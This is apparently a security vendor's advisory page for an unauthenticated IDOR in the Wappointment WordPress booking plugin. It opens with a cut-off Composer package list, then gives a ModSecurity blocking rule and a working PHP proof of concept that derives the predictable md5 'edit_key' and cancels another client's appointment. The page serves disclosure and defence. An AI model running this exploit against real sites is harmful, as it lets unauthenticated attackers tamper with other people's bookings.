'1.1.4.0', 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'dev_requirement' => false), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0|2.0')), 'psr/simple-cache' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false), 'rakit/validation' => array('pretty_version' => 'v1.4.0', 'version' => '1.4.0.0', 'reference' => 'ff003a35cdf5030a5f2482299f4c93f344a35b29', 'type' => 'library', 'install_path' => __DIR__ . '/../rakit/validation', 'aliases' => array(), 'dev_requirement' => false), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), 'dev_requirement' => false), 'sabberworm/php-css-parser' => array('pretty_version' => '8.4.0', 'version' => '8.4.0.0', 'reference' => 'e41d2140031d533348b2192a83f02d8dd8a71d30', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sabre/uri' => array('pretty_version' => '2.1.3', 'version' => '2.1.3.0', 'reference' => '18f454324f371cbcabdad3d0d3755b4b0182095d', 'type' => 'library', 'install_path' => __DIR__ . '/../sabre/uri', 'aliases' => array(), 'dev_requirement' => false), 'sabre/vobject' => array('pretty_version' => '4.5.3', 'version' => '4.5.3.0', 'reference' => 'fe6d9183154ed6f2f913f2b568d3d51d8ae9b308', 'type' => 'library', 'install_path' => __DIR__ . '/../sabre/vobject', 'aliases' => array(), 'dev_requirement' => false), 'sabre/xml' => array('pretty_version' => '2.1.3', 'version' => '2.1.3.0', 'reference' => 'f08a58f57e2b0d7df769a432756aa371417ab9eb', 'type' => 'library', 'install_path' => __DIR__ . '/../sabre/xml', 'aliases' => array(), 'dev_requirement' => false), 'soundasleep/html2text' => array('pretty_version' => '0.5.0', 'version' => '0.5.0.0', 'reference' => 'cdb89f6ffa2c4cc78f8ed9ea6ee0594a9133ccad', 'type' => 'library', 'install_path' => __DIR__ . '/../soundasleep/html2text', 'aliases' => array(), 'dev_requirement' => false), 'symfony/console' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => 'c77433ddc6cdc689caf48065d9ea22ca0853fbd9', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/console', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '95f3c7468db1da8cc360b24fa2a26e7cefcb355d', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'e8b495ea28c1d97b5e0c121748d6f9b53d075c66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/error-handler' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '56a94aa8cb5a5fbc411551d8d014a296b5456549', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/error-handler', 'aliases' => array(), 'dev_requirement' => false), 'symfony/event-dispatcher' => array('pretty_version' => 'v5.3.14', 'version' => '5.3.14.0', 'reference' => '6dc2d5b31cdf84fa6344f44056c32f939fcb8c4a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher', 'aliases' => array(), 'dev_requirement' => false), 'symfony/event-dispatcher-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'f98b54df6ad059855739db6fcbc2d36995283fe1', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/event-dispatcher-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.0')), 'symfony/finder' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '078e9a5e1871fcfe6a5ce421b539344c21afef19', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/finder', 'aliases' => array(), 'dev_requirement' => false), 'symfony/http-foundation' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '3bb6ee5582366c4176d5ce596b380117c8200bbf', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-foundation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/http-kernel' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '09c19fc7e4218fbcf73fe0330eea38d66064b775', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-kernel', 'aliases' => array(), 'dev_requirement' => false), 'symfony/mime' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => 'ef57d9fb9cdd5e6b2ffc567d109865d10b6920cd', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/mime', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-ctype' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '5bbc823adecdae860bb64756d639ecfec17b050a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-grapheme' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '511a08c03c1960e08a883f4cffcacd219b758354', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-grapheme', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-idn' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '639084e360537a19f9ee352433b84ce831f3d2da', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-idn', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-normalizer' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '19bd1e4fcd5b91116f14d8533c57831ed00571b6', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-normalizer', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '8ad114f6b39e2c98a8b0e3bd907732c207c2b534', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php72' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '869329b1e9894268a8a61dabb69153029b7a8c97', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php72', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php73' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '9e8ecb5f92152187c4799efd3c96b78ccab18ff9', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php73', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '7a6ff3f1959bb01aefccb463a0f2cd3d3d2fd936', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/service-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '4b426aac47d6427cc1a1d0f7e2ac724627f5966c', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/service-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/string' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => 'edac10d167b78b1d90f46a80320d632de0bd9f2f', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/string', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '6996affeea65705086939894b77110e9a7f80874', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '136b19dd05cdf0709db6537d058bcab6dd6e2dbe', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3')), 'symfony/var-dumper' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '6c5ac3a1be8b849d59a1a77877ee110e1b55eb74', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/var-dumper', 'aliases' => array(), 'dev_requirement' => false), 'true/punycode' => array('pretty_version' => 'v2.1.1', 'version' => '2.1.1.0', 'reference' => 'a4d0c11a36dd7f4e7cd7096076cab6d3378a071e', 'type' => 'library', 'install_path' => __DIR__ . '/../true/punycode', 'aliases' => array(), 'dev_requirement' => false), 'voku/portable-ascii' => array('pretty_version' => '1.6.1', 'version' => '1.6.1.0', 'reference' => '87337c91b9dfacee02452244ee14ab3c43bc485a', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false), 'wappointment/wappointment' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '859e91b11fd73741c1cc00f82298e893e95db3b4', 'type' => 'worpdress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false)));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9188
# This rule blocks unauthenticated requests to the Wappointment cancel/reschedule REST endpoints
# by matching the specific endpoint pattern and the appointmentkey parameter.

SecRule REQUEST_URI "@rx ^/wp-json/wappointment/v1/appointments/(cancel|reschedule)" 
  "id:20269188,phase:2,deny,status:403,chain,msg:'CVE-2026-9188 - Wappointment IDOR edit_key exploitation',severity:'CRITICAL',tag:'CVE-2026-9188'"
  SecRule ARGS_POST:appointmentkey "@rx ^[0-9a-f]{32}$" 
    "chain"
    SecRule REQUEST_METHOD "@streq POST" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9188 - Appointment Bookings for Zoom GoogleMeet and more – Wappointment <= 2.7.6 - Unauthenticated IDOR via Predictable 'edit_key' / 'appointmentkey' Parameter

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// Step 1: Book a new appointment to discover the client_id and staff_id
// The booking endpoint returns the appointment ID and client ID we need
$booking_endpoint = $target_url . '/wp-json/wappointment/v1/bookings';
$booking_data = [
    'service_id' => 1,
    'staff_id' => 1,
    'start_at' => strtotime('+1 day 10:00'),
    'email' => 'attacker@example.com',
    'name' => 'Attacker'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $booking_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($booking_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
curl_close($ch);

$booking_result = json_decode($response, true);
if (isset($booking_result['client_id'])) {
    $client_id = $booking_result['client_id'];
    // The client_id reveals the sequential counter; we can assume our ID is around this value
    // For a real attack we would also enumerate ID-1, ID-2, etc.
} else {
    die('Failed to obtain client ID. Ensure the plugin and REST API are accessible.');
}

// Step 2: Enumerate other clients' appointments
// Assume staff_id = 1 and we have a target appointment timestamp from the calendar (e.g., '2026-04-10 14:00')
$target_start_at = strtotime('2026-04-10 14:00');
$target_client_id = $client_id - 5; // Guess a lower client ID

// Compute the predictable edit_key (same function as in Client.php)
$edit_key = md5($target_client_id . $target_start_at);

// Step 3: Use the edit_key to cancel the victim's appointment
$cancel_endpoint = $target_url . '/wp-json/wappointment/v1/appointments/cancel';
$cancel_data = [
    'appointmentkey' => $edit_key,
    'staff_id' => 1,
    'start_at' => $target_start_at,
    'client_id' => $target_client_id
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $cancel_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($cancel_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$cancel_response = curl_exec($ch);
curl_close($ch);

echo "Cancel endpoint response: " . $cancel_response . "n";
echo "If status is 200 and appointment is cancelled, IDOR is confirmed.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.